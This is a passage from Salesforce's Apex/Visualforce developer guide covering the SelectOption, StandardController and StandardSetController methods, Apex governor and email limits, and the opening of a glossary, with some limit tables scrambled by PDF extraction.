If set to true, the option can’t be selected by the user but can still be viewed.
SelectOption Methods
The following are methods for
SelectOption
. All are instance methods.
IN THIS SECTION:
Returns the current value of the SelectOption object's isDisabled
attribute.
Returns the current value of the SelectOption object's itemEscaped
attribute.
Returns the option label that is displayed to the user.
Returns the option value that is returned to the controller if a user selects the option.
Sets the value of the SelectOption object's isDisabled
attribute.
Sets the value of the SelectOption object's itemEscaped
attribute.
Sets the value of the option label that is displayed to the user.
Sets the value of the option value that is returned to the controller if a user selects the option.
SelectOption Methods
690
Apex Classes Used in Visualforce Controllers SelectOption Methods
getDisabled()
Returns the current value of the SelectOption object's isDisabled
attribute.
Signature public Boolean getDisabled()
Return Value
Type: Boolean
Usage
If isDisabled
is set to true
, the user can view the option, but cannot select it. If isDisabled
is set to false
, the user can both view and select the option.
getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped
attribute.
Signature public Boolean getEscapeItem()
Return Value
Type: Boolean
Usage
If itemEscaped
is set to true
, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped
is set to false
, items are rendered as written.
getLabel()
Returns the option label that is displayed to the user.
Signature public String getLabel()
Return Value
Type: String
getValue()
Returns the option value that is returned to the controller if a user selects the option.
691
Apex Classes Used in Visualforce Controllers SelectOption Methods
Signature public String getValue()
Return Value
Type: String
setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled
attribute.
Signature public Void setDisabled( Boolean isDisabled)
Parameters
isDisabled
Type: Boolean
Return Value
Type: Void
Usage
If isDisabled
is set to true
, the user can view the option, but cannot select it. If isDisabled
is set to false
, the user can both view and select the option.
setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped
attribute.
Signature public Void setEscapeItem( Boolean itemsEscaped)
Parameters
itemsEscaped
Type: Boolean
Return Value
Type: Void
692
Apex Classes Used in Visualforce Controllers StandardController Class
Usage
If itemEscaped
is set to true
, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped
is set to false
, items are rendered as written.
setLabel(label)
Sets the value of the option label that is displayed to the user.
Signature public Void setLabel( String label)
Parameters
label
Type: String
Return Value
Type: Void
setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.
Signature public Void setValue( String value)
Parameters
value
Type: String
Return Value
Type: Void
StandardController Class
Use a StandardController when defining an extension for a standard controller.
Namespace
ApexPages
693
Apex Classes Used in Visualforce Controllers StandardController Constructors
Usage
StandardController objects reference the pre-built Visualforce controllers provided by Salesforce. The only time it is necessary to refer to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension: public class myControllerExtension { private final Account acct;
// The extension constructor initializes the private member
// variable acct by using the getRecord method from the standard
// controller.
public myControllerExtension(ApexPages.StandardController stdController) { this .acct = (Account)stdController.getRecord();
} public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')' ;
}
}
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController= "Account" extensions= "myControllerExtension" >
{!greeting} <p/ >
<apex:form >
<apex:inputField value= "{!account.name}" /> <p/ >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:form >
</apex:page >
IN THIS SECTION:
StandardController Constructors
StandardController Constructors
The following are constructors for
StandardController
.
694
Apex Classes Used in Visualforce Controllers StandardController Methods
IN THIS SECTION:
StandardController(controllerSObject)
Creates a new instance of the
ApexPages.StandardController
class for the specified standard or custom object.
StandardController(controllerSObject)
Creates a new instance of the
ApexPages.StandardController
class for the specified standard or custom object.
Signature public StandardController(SObject controllerSObject)
Parameters
controllerSObject
Type: SObject
A standard or custom object.
StandardController Methods
The following are methods for
StandardController
. All are instance methods.
IN THIS SECTION:
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup.
This method adds a reference to each field specified in fieldNames
so that the controller can explicitly access those fields as well.
Returns the PageReference of the cancel page.
Deletes record and returns the PageReference of the delete page.
Returns the PageReference of the standard edit page.
Returns the ID of the record that is currently in context, based on the value of the id
query string parameter in the Visualforce page
URL.
Returns the record that is currently in context, based on the value of the id
query string parameter in the Visualforce page URL.
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded.
Saves changes and returns the updated PageReference.
695
Apex Classes Used in Visualforce Controllers StandardController Methods
Returns the PageReference object of the standard detail page.
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This method adds a reference to each field specified in fieldNames
so that the controller can explicitly access those fields as well.
Signature public Void addFields(List< String > fieldNames)
Parameters
fieldNames
Type: List<String>
Return Value
Type: Void
Usage
This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the reset()
method before calling addFields()
.
The strings in fieldNames
can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields, such as foo__r.myField__c.
This method is only for controllers used by dynamicVisualforce bindings.
cancel()
Returns the PageReference of the cancel page.
Signature public System.PageReference cancel()
Return Value
Type:
delete ()
Deletes record and returns the PageReference of the delete page.
Signature public System.PageReference
delete ()
696
Apex Classes Used in Visualforce Controllers StandardController Methods
Return Value
Type:
edit()
Returns the PageReference of the standard edit page.
Signature public System.PageReference edit()
Return Value
Type:
getId()
Returns the ID of the record that is currently in context, based on the value of the id
query string parameter in the Visualforce page
URL.
Signature public String getId()
Return Value
Type: String
getRecord()
Returns the record that is currently in context, based on the value of the id
query string parameter in the Visualforce page URL.
Signature public SObject getRecord()
Return Value
Type: sObject
Usage
Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression.
Tip:
You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component's rendered
attribute to false
.
697
Apex Classes Used in Visualforce Controllers
Example
<apex:outputText value= "{!account.billingcity}
{!account.contacts} " rendered= "false" />
StandardController Methods
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded.
Signature public Void reset()
Return Value
Type: Void
Usage
This method is only used if addFields
is called outside the constructor, and it must be called directly before addFields
.
This method is only for controllers used by dynamicVisualforce bindings.
save()
Saves changes and returns the updated PageReference.
Signature public System.PageReference save()
Return Value
Type:
view()
Returns the PageReference object of the standard detail page.
Signature public System.PageReference view()
Return Value
Type:
698
Apex Classes Used in Visualforce Controllers StandardSetController Class
StandardSetController Class
StandardSetController
objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list controllers provided by Salesforce.
Namespace
ApexPages
Usage
The
StandardSetController
class also contains a prototype object. This is a single sObject
contained within the Visualforce
StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object.
Instantiation
You can instantiate a StandardSetController in either of the following ways:
•
From a list of sObjects:
List<account> accountList = [SELECT Name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
•
From a query locator:
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(Database.getQueryLocator([SELECT Name,CloseDate FROM
Opportunity]));
Note: The maximum record limit for StandardSetController is 10,000 records. Instantiating StandardSetController using a query locator returning more than 10,000 records causes a LimitException to be thrown. However, instantiating StandardSetController with a list of more than 10,000 records doesn’t throw an exception, and instead truncates the records to the limit.
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller: public class opportunityList2Con {
// ApexPages.StandardSetController must be instantiated
// for standard list controllers public ApexPages.StandardSetController setCon { get { if (setCon == null ) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
[SELECT Name, CloseDate FROM Opportunity]));
}
699
Apex Classes Used in Visualforce Controllers StandardSetController Constructors
} set; return setCon;
}
// Initialize setCon and return a list of records public List<Opportunity> getOpportunities() { return (List<Opportunity>) setCon.getRecords();
}
}
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller= "opportunityList2Con" >
<apex:pageBlock >
<apex:pageBlockTable value= "{!opportunities}" var= "o" >
<apex:column value= "{!o.Name}" />
<apex:column value= "{!o.CloseDate}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
IN THIS SECTION:
StandardSetController Constructors
StandardSetController Constructors
The following are constructors for
StandardSetController
.
IN THIS SECTION:
StandardSetController(sObjectList)
Creates a new instance of the
ApexPages.StandardSetController
class for the list of sObjects returned by the query locator.
StandardSetController(controllerSObjects)
Creates a new instance of the
ApexPages.StandardSetController
class for the specified list of standard or custom objects.
StandardSetController(sObjectList)
Creates a new instance of the
ApexPages.StandardSetController
class for the list of sObjects returned by the query locator.
Signature public StandardSetController(Database.QueryLocator sObjectList)
700
Apex Classes Used in Visualforce Controllers StandardSetController Methods
Parameters
sObjectList
Type: Database.QueryLocator
A query locator returning a list of sObjects.
StandardSetController(controllerSObjects)
Creates a new instance of the
ApexPages.StandardSetController
class for the specified list of standard or custom objects.
Signature public StandardSetController(List<SObject> controllerSObjects)
Parameters
controllerSObjects
Type: List<SObject>
A List of standard or custom objects.
StandardSetController Methods
The following are methods for
StandardSetController
. All are instance methods.
IN THIS SECTION:
Returns the PageReference of the original page, if known, or the home page.
Returns the first page of records.
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records.
Returns the ID of the filter that is currently in context.
Indicates whether there are more records after the current page set.
Indicates whether there are more records before the current page set.
Returns a list of the listviews available to the current user.
Returns the page number of the current page set. Note that the first page returns 1.
Returns the number of records included in each page set.
701
Apex Classes Used in Visualforce Controllers StandardSetController Methods
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class, and is used for performing mass updates.
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear
() on it.
Returns the number of records in the set.
Returns the list of sObjects that have been selected.
Returns the last page of records.
Returns the next page of records.
Returns the previous page of records.
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page.
Sets the filter ID of the controller.
Sets the page number.
Sets the number of records in each page set.
Set the selected records.
cancel()
Returns the PageReference of the original page, if known, or the home page.
Signature public System.PageReference cancel()
Return Value
Type:
first()
Returns the first page of records.
702
Apex Classes Used in Visualforce Controllers StandardSetController Methods
Signature public Void first()
Return Value
Type: Void
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records.
Signature public Boolean getCompleteResult()
Return Value
Type: Boolean
getFilterId()
Returns the ID of the filter that is currently in context.
Signature public String getFilterId()
Return Value
Type: String
getHasNext()
Indicates whether there are more records after the current page set.
Signature public Boolean getHasNext()
Return Value
Type: Boolean
getHasPrevious()
Indicates whether there are more records before the current page set.
703
Apex Classes Used in Visualforce Controllers StandardSetController Methods
Signature public Boolean getHasPrevious()
Return Value
Type: Boolean
getListViewOptions()
Returns a list of the listviews available to the current user.
Signature public System.SelectOption getListViewOptions()
Return Value
Type:
[]
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
Signature public Integer getPageNumber()
Return Value
Type: Integer
getPageSize()
Returns the number of records included in each page set.
Signature public Integer getPageSize()
Return Value
Type: Integer
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class, and is used for performing mass updates.
704
Apex Classes Used in Visualforce Controllers
Signature public sObject getRecord()
Return Value
Type: sObject
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear
() on it.
Signature public sObject[] getRecords()
Return Value
Type: sObject[]
getResultSize()
Returns the number of records in the set.
Signature public Integer getResultSize()
Return Value
Type: Integer
getSelected()
Returns the list of sObjects that have been selected.
Signature public sObject[] getSelected()
Return Value
Type: sObject[]
last()
Returns the last page of records.
StandardSetController Methods
705
Apex Classes Used in Visualforce Controllers StandardSetController Methods
Signature public Void last()
Return Value
Type: Void
next()
Returns the next page of records.
Signature public Void next()
Return Value
Type: Void
previous()
Returns the previous page of records.
Signature public Void previous()
Return Value
Type: Void
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page.
Signature public System.PageReference save()
Return Value
Type:
setFilterID(filterId)
Sets the filter ID of the controller.
706
Apex Classes Used in Visualforce Controllers
Signature public Void setFilterID( String filterId)
Parameters
filterId
Type: String
Return Value
Type: Void
setpageNumber(pageNumber)
Sets the page number.
Signature public Void setpageNumber( Integer pageNumber)
Parameters
pageNumber
Type: Integer
Return Value
Type: Void
setPageSize(pageSize)
Sets the number of records in each page set.
Signature public Void setPageSize( Integer pageSize)
Parameters
pageSize
Type: Integer
Return Value
Type: Void
setSelected(selectedRecords)
Set the selected records.
707
StandardSetController Methods
Apex Classes Used in Visualforce Controllers
Signature public Void setSelected(sObject[] selectedRecords)
Parameters
selectedRecords
Type: sObject[]
Return Value
Type: Void
StandardSetController Methods
708
APPENDIX D Execution Governors and Limits
The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections.
•
•
Per-Transaction Certified Managed Package Limits
•
Force.com Platform Apex Limits
•
•
•
In addition to the core Apex governor limits, email limits and
are also included later in this topic for your convenience.
Per-Transaction Apex Limits
These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the execute
method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different. Otherwise, this table lists only one limit that applies to both synchronous and asynchronous Apex.
Description
Total number of SOQL queries issued
1
(This limit doesn’t apply to custom metadata types.
In a single Apex transaction, custom metadata records can have unlimited SOQL queries.)
Total number of records retrieved by SOQL queries
Total number of records retrieved by
Database.getQueryLocator
Total number of SOSL queries issued
Total number of records retrieved by a single SOSL query
Total number of DML statements issued
2
Total number of records processed as a result of DML statements,
Approval.process
, or database.emptyRecycleBin
Total stack depth for any Apex invocation that recursively fires triggers due to insert
, update
, or delete
statements
3
Total number of callouts (HTTP requests or Web services calls) in a transaction
Synchronous
Limit
100
50,000
10,000
20
2,000
150
10,000
16
100
Asynchronous
Limit
200
709
Execution Governors and Limits
Description
Maximum timeout for all callouts (HTTP requests or Web services calls) in a transaction
Maximum number of methods with the future
annotation allowed per Apex invocation
Maximum number of Apex jobs added to the queue with
System.enqueueJob
Synchronous
Limit
Asynchronous
Limit
120 seconds
50
50
Total number of sendEmail
methods allowed
Total heap size
4
Maximum CPU time on the Salesforce servers
5
Maximum execution time for each Apex transaction
Maximum number of push notification method calls allowed per Apex transaction
Maximum number of push notifications that can be sent in each push notification method call
10
6 MB 12 MB
10,000 milliseconds 60,000 milliseconds
10 minutes
10
2,000
1
In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the row counts of the overall code execution. In addition to static SOQL statements, calls to the following methods count against the number of SOQL statements issued in a request.
•
Database.countQuery
•
Database.getQueryLocator
•
Database.query
2
Calls to the following methods count against the number of DML queries issued in a request.
•
Approval.process
•
Database.convertLead
•
Database.emptyRecycleBin
•
Database.rollback
•
Database.setSavePoint
•
delete
and
Database.
delete
•
insert
and
Database.
insert
•
merge
and
Database.
merge
•
undelete
and
Database.
undelete
•
update
and
Database.
update
•
upsert
and
Database.
upsert
•
System.runAs
3
Recursive Apex that does not fire any triggers with insert
, update
, or delete
statements exists in a single invocation, with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4
Email services heap size is 36 MB.
710
Execution Governors and Limits
5
CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is private for a transaction and is isolated from other transactions. Operations that don’t consume application server CPU time aren’t counted toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn’t counted, nor is waiting time for Apex callouts.
Note:
•
Limits apply individually to each testMethod
.
•
To determine the code execution limits for your code while it is running, use the Limits methods. For example, you can use the getDMLStatements
method to determine the number of DML statements that have already been called by your program. Or, you can use the getLimitDMLStatements
method to determine the total number of DML statements available to your code.
Per-Transaction Certified Managed Package Limits
Certified managed packages—managed packages that have passed the security review for AppExchange—get their own set of limits for most per-transaction limits. Certified managed packages are developed by Salesforce ISV Partners, are installed in your organization from Force.com AppExchange, and have unique namespaces.
Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML statements your organization’s native code can execute. This limit increase means more than 150 DML statements can execute during a single transaction if code from the managed package and your native organization both execute. Similarly, the certified managed package gets its own 100-SOQL-query limit for synchronous Apex, in addition to the organization’s native code limit of 100 SOQL queries.
There’s no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations that can be performed in each namespace must not exceed the per-transaction limits. There’s also a limit on the cumulative number of operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example, if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long as any one namespace doesn't have more than 100 queries. The cumulative limit doesn’t affect limits that are shared across all namespaces, such as the limit on maximum CPU time.
Note: These cross-namespace limits apply only to namespaces in certified managed packages. Namespaces in packages that are not certified don’t have their own separate governor limits. The resources they use continue to count against the same governor limits used by your org's custom code.
This table lists the cumulative cross-namespace limits.
Description
Total number of SOQL queries issued
Total number of records retrieved by
Total number of SOSL queries issued
Database.getQueryLocator
Total number of DML statements issued
Total number of callouts (HTTP requests or Web services calls) in a transaction
Total number of sendEmail
methods allowed
Cumulative
Cross-Namespace Limit
1,100
110,000
220
1,650
1,100
110
711
Execution Governors and Limits
All per-transaction limits count separately for certified managed packages except for:
•
The total heap size
•
The maximum CPU time
•
The maximum transaction execution time
•
The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
Also, if you install a package from AppExchange that isn’t created by a Salesforce ISV Partner and isn’t certified, the code from that package doesn’t have its own separate governor limits. Any resources it uses count against the total governor limits for your organization.
Cumulative resource messages and warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs .
Force.com Platform Apex Limits
The limits in this table aren’t specific to an Apex transaction and are enforced by the Force.com platform.
Description
The maximum number of asynchronous Apex method executions (batch Apex, future methods,
Queueable Apex, and scheduled Apex) per a 24-hour period
1
Limit
250,000 or the number of user licenses in your organization multiplied by 200, whichever is greater
Number of synchronous concurrent requests for long-running requests that last longer than 5 seconds for each organization.
2
10
Maximum number of Apex classes scheduled concurrently 100
Maximum number of batch Apex jobs in the Apex flex queue that are in
Holding
status
Maximum number of batch Apex jobs queued or active concurrently
3
Maximum number of batch Apex job start
method concurrent executions
4
100
5
1
Maximum number of batch jobs that can be submitted in a running test 5
Maximum number of test classes that can be queued per 24-hour period (production organizations other than Developer Edition)
5
The greater of 500 or 10 multiplied by the number of test classes in the organization
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer
Edition organizations)
5
Maximum number of query cursors open concurrently per user
6
The greater of 500 or 20 multiplied by the number of test classes in the organization
50
Maximum number of query cursors open concurrently per user for the Batch Apex start
method 15
Maximum number of query cursors open concurrently per user for the Batch Apex execute
and finish
methods
5
Maximum simultaneous requests to URLs with the same host for a callout request
7
To external endpoints: 20
712
Execution Governors and Limits
Description Limit
To endpoints within your
Salesforce org’s domain: unlimited
1
For Batch Apex, method executions include executions of the start
, execute
, and finish
methods. This limit is for your entire organization and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included.
2
If more requests are made while the 10 long-running requests are still running, they’re denied.
3
When batch jobs are submitted, they’re held in the flex queue before the system queues them for processing.
4
Batch jobs that haven’t started yet remain in the queue until they’re started. If more than one job is running, this limit doesn’t cause any batch job to fail and execute
methods of batch Apex jobs still run in parallel.
5
This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface including the Developer Console or by inserting
ApexTestQueueItem
objects using SOAP API.
6
For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query cursors, 15 cursors for the Batch Apex start
method, 5 cursors each for the Batch Apex execute
and finish
methods, and 5
Visualforce cursors open at the same time.
7
The host is defined by the unique subdomain for the URL—for example, www.mysite.com
and extra.mysite.com
are two different hosts. This limit is calculated across all organizations that access the same host. If this limit is exceeded, a
CalloutException is thrown.
Static Apex Limits
Description
Default timeout of callouts (HTTP requests or Web services calls) in a transaction
Maximum size of callout request or response (HTTP request or Web services call)
1
Limit
10 seconds
6 MB for synchronous Apex or
12 MB for asynchronous Apex
Maximum SOQL query run time before Salesforce cancels the transaction
Maximum number of class and trigger code units in a deployment of Apex
120 seconds
5,000
For loop list batch size 200
Maximum number of records returned for a Batch Apex query in
Database.QueryLocator
50 million
1
The HTTP request and response sizes count towards the total heap size.
713
Execution Governors and Limits
Size-Specific Apex Limits
Description
Maximum number of characters for a class
Maximum number of characters for a trigger
Maximum amount of code used by all Apex code in an organization
1
Method size limit
2
Limit
1 million
1 million
3 MB
65,535 bytecode instructions in compiled form
1
This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange
Certified). The code in those types of packages belongs to a namespace unique from the code in your organization. For more information on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included in a class defined with the
@isTest
annotation.
2
Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
Miscellaneous Apex Limits
SOQL Query Performance
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the system can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger executes against an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective. See More
Efficient SOQL Queries.
Chatter in Apex
For classes in the
ConnectApi
namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi
method calls are also subject to rate limiting.
ConnectApi
rate limits match Chatter REST API rate limits. Both have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a
ConnectApi.RateLimitException
is thrown. Your Apex code must catch and handle this exception.
Event Reports
The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for system administrators, 100,000.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers on account, contact, or lead records that run SOQL queries, the queries can interfere with Clean jobs for those objects. Your Apex triggers (combined) must not exceed
200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your triggers call future
methods, they are subject to a limit of 10 future
calls per batch.
714
Execution Governors and Limits
Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed
(Includes limit for On-Demand Email-to-Case)
Email Services: Maximum Size of Email Message (Body and Attachments)
On-Demand Email-to-Case: Maximum Email Attachment Size
On-Demand Email-to-Case: Maximum Number of Email Messages Processed
(Counts toward limit for Email Services)
Number of user licenses multiplied by
1,000; maximum 1,000,000
10 MB
1
25 MB
Number of user licenses multiplied by
1,000; maximum 1,000,000
1
The maximum size of email messages for Email Services varies depending on language and character set. The size of an email message includes the email headers, body, attachments, and encoding. As a result, an email with a 25 MB attachment likely exceeds the 25 MB size limit for an email message after accounting for the headers, body, and encoding..
When defining email services, note the following:
•
An email service only processes messages it receives at one of its addresses.
•
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your organization can process up to 10,000 email messages a day.
•
Email service addresses that you create in your sandbox cannot be copied to your production organization.
•
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address.
•
Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds approximately 10 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich
Mean Time (GMT). Single emails sent using the Salesforce application don't count toward this limit. There’s no limit on sending individual emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity, case, campaign, or custom object pages.
When sending single emails, keep in mind:
•
You can send 100 emails per
SingleEmailMessage
.
•
If you use
SingleEmailMessage
to email your org’s internal users, specifying the user’s ID in setTargetObjectId means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresses in setToAddresses means the email does count toward the limit.
You can send mass email to a maximum of 1,000 external email addresses per day per org based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in each mass email depends on your edition:
715
Execution Governors and Limits
Edition
Personal, Contact Manager, and Group
Professional
Enterprise
Unlimited and Performance
External Address Limit per Mass Email
N/A
250
500
1,000
Note:
•
The single and mass email limits don't take unique addresses into account. For example, if you have [email protected]
in your email 10 times, that counts as 10 against the limit.
•
You can send an unlimited amount of email to your org’s internal users, which includes portal users.
•
You can send mass emails only to contacts, person accounts, leads, and your org’s internal users.
•
In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send mass email to no more than
10 external email addresses per day. This lower limit doesn’t apply if your org was created before the Winter ’12 release and already had mass email enabled with a higher limit. Additionally, your org can send single emails to a maximum of
15 email addresses per day.
Push Notification Limits
The maximum push notifications allowed for each mobile app associated with your Salesforce org depends on the type of app.
Mobile application type
Provided by Salesforce (for example, Salesforce1)
Developed by your company for internal employee use
Installed from the AppExchange
Maximum notifications per app per day
50,000
35,000
5,000
Only deliverable notifications count toward this limit. For example, consider the scenario where a notification is sent to 1,000 employees in your company, but 100 employees haven’t installed the mobile application yet. Only the notifications sent to the 900 employees who have installed the mobile application count toward this limit.
Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications count toward an application’s daily push notification limit.
716
GLOSSARY
A
Account
An account is an organization, company, or consumer that you want to track—for example, a customer, partner, or competitor.
Activity
An event, a task, a call you've logged, or an email you've sent. You can relate an activity to other records, such as an account, a lead, an opportunity, or a case. In an org with Shared Activities enabled, you can relate an activity to multiple contacts. Tasks can also be generated by workflow rules and approval processes configured by a Salesforce admin.
Administrator (System Administrator)
One or more individuals in your organization who can configure and customize the application. Users assigned to the System
Administrator profile have administrator privileges.
Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
Apex Controller
See Controller, Visualforce.
Apex Page
See Visualforce Page.
API Version
See Version.
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.
B
Boolean Operators
You can use Boolean operators in report filters to specify the logical relationship between two values. For example, the AND operator between two values yields search results that include both values. Likewise, the OR operator between two values yields search results that include either value.
717
Glossary
C
Campaign
A marketing initiative, such as an advertisement, direct mail, or conference, that you conduct in order to generate prospects and build brand awareness.
Case
Detailed description of a customer’s feedback, problem, or question. Used to track and solve your customers’ issues.
Clone
Clone is the name of a button or link that allows you to create a new item by copying the information from an existing item, for example, a contact or opportunity.
Collapsible Section
Sections on detail pages that users can hide or show.
Contact
Contacts are the individuals associated with your accounts.
Contract
A contract is an agreement defining the terms of business between parties.
Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers.
Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example,
<apex:detail >
. Visualforce includes a number of standard components, or you can create your own custom components.
Component Reference, Visualforce
A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the
Visualforce Developer's Guide
.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session “cookie” only to record encrypted authentication information for the duration of a specific session.
Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and field-level security of the current user.
Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs.
Custom Help
Custom text administrators create to provide users with on-screen information specific to a standard field, custom field, or custom object.
Custom Links
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems.
Formerly known as Web links.
718
Glossary
Custom Object
Custom records that allow you to store information unique to your organization.
Custom S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Custom App
See App.
D
Data State
The structure of data in an object at a particular point in time.
Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding controlling field.
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas the edit page allows you to modify it.
A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report.
You can toggle the Show Details/Hide Details button to view and hide report detail information.
Detail View
